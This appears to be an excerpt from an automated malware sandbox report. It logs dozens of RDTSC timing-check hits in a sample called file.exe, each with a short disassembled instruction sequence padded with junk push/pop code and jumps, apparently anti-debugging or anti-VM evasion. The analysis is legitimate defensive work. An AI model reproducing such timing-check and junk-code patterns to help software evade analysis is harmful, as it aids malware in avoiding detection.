Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CD757 second address: 11CD75E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D0733 second address: 11D0739 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D0739 second address: 11D073D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D073D second address: 11D0741 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D6E02 second address: 11D6E1F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4F78FA0DFBh 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F4F78FA0DFAh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D57AF second address: 11D57C1 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jng 00007F4F78C44E2Ch 0x0000000c jp 00007F4F78C44E26h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D5901 second address: 11D5905 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D5BF0 second address: 11D5BF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D5D3D second address: 11D5D43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118C45C second address: 118C47B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F4F78C44E35h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D9F5E second address: 11D9F8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F4F78FA0DF6h 0x0000000a ja 00007F4F78FA0DF6h 0x00000010 popad 0x00000011 popad 0x00000012 push edx 0x00000013 pushad 0x00000014 jmp 00007F4F78FA0E08h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D977E second address: 11D9795 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4F78C44E2Ch 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D9795 second address: 11D979B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D979B second address: 11D979F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D979F second address: 11D97A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D97A3 second address: 11D97AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F4F78C44E26h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D97AF second address: 11D97B6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D97B6 second address: 11D97C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D97C1 second address: 11D97C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D9904 second address: 11D9909 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DDD70 second address: 11DDD97 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4F78FA0DFDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F4F78FA0E06h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DDEEF second address: 11DDF12 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F4F78C44E26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F4F78C44E31h 0x0000000f js 00007F4F78C44E2Ch 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DDF12 second address: 11DDF29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F4F78FA0DFEh 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DE0D3 second address: 11DE0D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DE68B second address: 11DE691 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DE691 second address: 11DE6A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007F4F78C44E2Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E4FA6 second address: 11E4FD1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F4F78FA0E01h 0x00000008 jg 00007F4F78FA0DF6h 0x0000000e jmp 00007F4F78FA0DFFh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E55B1 second address: 11E55B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E5862 second address: 11E5867 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E5867 second address: 11E587E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jc 00007F4F78C44E32h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E587E second address: 11E5888 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F4F78FA0DF6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E5888 second address: 11E58A1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F4F78C44E32h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E58A1 second address: 11E58A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E5E04 second address: 11E5E22 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4F78C44E34h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E5E22 second address: 11E5E28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E5E28 second address: 11E5E3B instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F4F78C44E26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d jl 00007F4F78C44E26h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E5E3B second address: 11E5E49 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007F4F78FA0DFEh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E6415 second address: 11E6439 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F4F78C44E26h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jnl 00007F4F78C44E2Ch 0x00000015 jo 00007F4F78C44E26h 0x0000001b pushad 0x0000001c jl 00007F4F78C44E26h 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E6439 second address: 11E6440 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E66F7 second address: 11E6706 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4F78C44E2Ah 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EED00 second address: 11EED04 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EED04 second address: 11EED21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F4F78C44E26h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F4F78C44E2Dh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EED21 second address: 11EED25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EED25 second address: 11EED46 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edx 0x00000008 pop edx 0x00000009 jno 00007F4F78C44E26h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 jo 00007F4F78C44E2Ch 0x0000001b jl 00007F4F78C44E26h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EED46 second address: 11EED5E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F4F78FA0E02h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EED5E second address: 11EED62 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EF071 second address: 11EF075 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EF075 second address: 11EF093 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F4F78C44E38h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EF224 second address: 11EF230 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EF230 second address: 11EF236 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EF489 second address: 11EF498 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jo 00007F4F78FA0E3Fh 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EF498 second address: 11EF49E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F6241 second address: 11F6247 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F50F7 second address: 11F50FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FC053 second address: 11FC069 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F4F78FA0DFEh 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FC069 second address: 11FC06D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FD717 second address: 11FD71D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120C8CC second address: 120C8DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007F4F78C44E2Ah 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120C8DB second address: 120C8E9 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F4F78FA0DF8h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120F0CA second address: 120F0E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4F78C44E2Ah 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d jne 00007F4F78C44E26h 0x00000013 pop ebx 0x00000014 push eax 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120F0E6 second address: 120F0F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4F78FA0DFBh 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12196E2 second address: 12196EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1224240 second address: 1224246 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122ACD5 second address: 122AD05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F4F78C44E26h 0x0000000a pop ebx 0x0000000b pushad 0x0000000c jmp 00007F4F78C44E32h 0x00000011 jmp 00007F4F78C44E31h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122AD05 second address: 122AD1A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F4F78FA0DFAh 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122AD1A second address: 122AD24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F4F78C44E26h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122AD24 second address: 122AD28 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122B15A second address: 122B15F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122B15F second address: 122B164 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122B42E second address: 122B445 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4F78C44E2Fh 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122B445 second address: 122B44F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122B44F second address: 122B45B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 pushad 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122B45B second address: 122B46F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007F4F78FA0DFAh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122B5C0 second address: 122B5C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122B5C4 second address: 122B5DF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jg 00007F4F78FA0DF6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F4F78FA0DFFh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122B5DF second address: 122B5EB instructions: 0x00000000 rdtsc 0x00000002 jns 00007F4F78C44E2Eh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122B75E second address: 122B77D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4F78FA0E06h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122B77D second address: 122B783 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122C224 second address: 122C22E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F4F78FA0DF6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122FD49 second address: 122FD55 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jne 00007F4F78C44E26h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122FD55 second address: 122FD71 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F4F78FA0E02h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122FAA2 second address: 122FAA8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122FAA8 second address: 122FAAE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122FAAE second address: 122FAB2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122FAB2 second address: 122FAB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1260E17 second address: 1260E1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1260E1D second address: 1260E21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1261110 second address: 126111A instructions: 0x00000000 rdtsc 0x00000002 js 00007F4F78C44E26h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1261626 second address: 126163C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ecx 0x00000009 pushad 0x0000000a pushad 0x0000000b push eax 0x0000000c pop eax 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 push esi 0x00000015 pop esi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126163C second address: 1261640 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12617DD second address: 12617E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12617E1 second address: 12617F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F4F78C44E2Fh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12617F6 second address: 12617FB instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1261C22 second address: 1261C31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 jnp 00007F4F78C44E26h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1265E6A second address: 1265E6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1265E6E second address: 1265E72 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1265E72 second address: 1265E7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1265E7F second address: 1265E85 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1265F0D second address: 1265F12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1265F12 second address: 1265F18 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126616E second address: 1266198 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 mov edx, dword ptr [ebp+122D19F3h] 0x0000000f push 00000004h 0x00000011 mov dword ptr [ebp+122D24DAh], ecx 0x00000017 push 2CA8AEECh 0x0000001c ja 00007F4F78FA0E02h 0x00000022 ja 00007F4F78FA0DFCh 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1268F06 second address: 1268F13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jo 00007F4F78C44E2Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
